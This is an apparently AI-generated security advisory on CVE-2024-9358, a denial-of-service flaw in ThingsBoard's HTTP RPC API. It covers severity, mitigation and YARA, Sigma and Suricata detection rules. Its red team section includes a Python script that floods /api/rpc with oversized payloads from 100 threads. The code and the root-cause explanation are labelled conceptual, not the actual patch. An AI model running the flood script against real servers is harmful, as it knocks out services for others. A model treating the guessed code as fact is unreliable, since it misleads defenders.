CVE-2024-9358

Executive Summary

CVE-2024-9358 is a resource consumption vulnerability in ThingsBoard, an open-source IoT platform, affecting versions up to and including 3.7.0. The vulnerability resides in the HTTP RPC API component, allowing an unauthenticated remote attacker to cause excessive resource consumption, potentially leading to a denial of service (DoS). The attack complexity is high, and exploitation is considered difficult. A proof of concept (PoC) has been publicly disclosed. The vendor was notified on July 24, 2024, and released version 3.7.1 in late September 2024 to address the issue.

Supply Chain & Package Security

ThingsBoard is a Java-based platform distributed via GitHub releases and Docker images. The vulnerability affects the core server component, not a specific package manager. Users should verify the integrity of their ThingsBoard installation and ensure they are running version 3.7.1 or later. No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that a full vector has not been assigned by NVD. However, based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): High (H) - The complexity is high, and exploitation is difficult.
• Privileges Required (PR): None (N) - No authentication is required.
• User Interaction (UI): None (N) - No user interaction is needed.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No data exposure.
• Integrity (I): None (N) - No data modification.
• Availability (A): High (H) - Resource consumption leads to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 5.9 (Medium)

Threat Level: Medium. The high attack complexity and difficulty of exploitation reduce the immediate risk, but the public availability of a PoC increases the threat.

Deep Dive & Mechanics

The vulnerability is in the HTTP RPC API of ThingsBoard. This API allows devices and applications to send remote procedure calls (RPCs) to ThingsBoard entities. The specific flaw involves improper handling of certain RPC requests, leading to uncontrolled resource consumption.

Root Cause: The HTTP RPC API does not properly validate or limit the size, frequency, or complexity of incoming RPC requests. An attacker can craft a series of requests that cause the server to allocate excessive memory, CPU, or network resources, eventually leading to a denial of service.

Attack Vector: The attacker sends specially crafted HTTP requests to the ThingsBoard server's RPC endpoint. The requests may contain large payloads, nested structures, or trigger expensive operations that exhaust server resources.

Impact: Successful exploitation results in the ThingsBoard server becoming unresponsive or crashing, disrupting IoT device management, data collection, and other critical services.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the patch likely involves adding input validation, rate limiting, and resource quotas to the HTTP RPC API handler.

Vulnerable Code (Conceptual):

// Vulnerable: No validation on RPC request size or complexity
public void handleRpcRequest(HttpServletRequest request) {
    String body = readRequestBody(request);
    RpcRequest rpcRequest = parseRpcRequest(body);
    processRpc(rpcRequest);
}

Patched Code (Conceptual):

// Patched: Added validation and resource limits
public void handleRpcRequest(HttpServletRequest request) {
    if (request.getContentLength() > MAX_RPC_SIZE) {
        throw new RequestTooLargeException();
    }
    String body = readRequestBody(request);
    RpcRequest rpcRequest = parseRpcRequest(body);
    if (rpcRequest.isComplex()) {
        throw new ComplexRequestException();
    }
    processRpc(rpcRequest);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable ThingsBoard instance (version <= 3.7.0)
• Network access to the HTTP RPC API endpoint (typically port 8080 or 443)

Exploitation Steps:

1. Identify the ThingsBoard server and its RPC API endpoint (e.g., /api/rpc).
2. Craft a malicious HTTP POST request with a large payload or nested JSON structure.
3. Send multiple such requests in rapid succession to exhaust server resources.

Example Exploit (Python):

import requests
import threading

target = "http://target-thingsboard:8080/api/rpc"
payload = '{"method": "getValue", "params": {"key": "' + "A" * 100000 + '"}}'

def send_request():
    try:
        requests.post(target, data=payload, timeout=5)
    except:
        pass

# Launch multiple threads to amplify resource consumption
for i in range(100):
    threading.Thread(target=send_request).start()

Note: This is a conceptual example. The actual PoC may differ.

Blue Team

Detection:

• Monitor for unusually large HTTP POST requests to the RPC API endpoint.
• Track the number of RPC requests per source IP; a high rate may indicate an attack.
• Watch for server resource spikes (CPU, memory, network) coinciding with RPC API activity.

Mitigation:

• Immediately upgrade to ThingsBoard 3.7.1 or later.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block oversized requests.
• Restrict access to the RPC API to trusted IPs or networks.
• Enable rate limiting on the RPC endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /api/rpc with content-length exceeding normal thresholds (e.g., > 1 MB).
  • Multiple rapid requests from the same source IP to the RPC endpoint.
  • Server logs showing repeated OutOfMemoryError or socket timeouts.

• System IOCs:

  • High CPU or memory usage on the ThingsBoard server.
  • ThingsBoard service crashes or becomes unresponsive.
  • Java heap dump files in the ThingsBoard installation directory.

Detection Engineering

YARA Rule

rule CVE_2024_9358_ThingsBoard_RPC_DoS {
    meta:
        description = "Detects malicious RPC requests targeting CVE-2024-9358"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-9358"
    strings:
        $rpc_endpoint = "/api/rpc"
        $large_payload = /[A-Za-z0-9\/+]{10000,}/  // Base64 or large text
    condition:
        $rpc_endpoint and $large_payload
}

Sigma Rule

title: CVE-2024-9358 ThingsBoard RPC DoS Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2024-9358 via oversized RPC requests
author: Valters IT
date: 2024-10-01
logsource:
    category: webserver
    product: thingsboard
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/rpc'
        sc-status: 200
        cs-bytes|gte: 1000000  # 1 MB
    condition: selection
falsepositives:
    - Legitimate large RPC payloads (rare)
level: high

Suricata Rule

alert http any any -> $THINGSBOARD_SERVER 8080 (msg:"CVE-2024-9358 ThingsBoard RPC DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/rpc"; http_uri; content_length:>1000000; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update ThingsBoard to version 3.7.1 or later. This is the official fix.
2. WAF Rules: Deploy WAF rules to block HTTP POST requests to /api/rpc with content-length exceeding a reasonable threshold (e.g., 1 MB).
3. Network Segmentation: Restrict access to the RPC API to only trusted IPs or internal networks.

Long-Term Measures:

• Implement rate limiting on all API endpoints.
• Regularly review and update ThingsBoard to the latest version.
• Monitor server resource usage and set up alerts for anomalies.
• Conduct periodic security assessments of IoT platforms.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.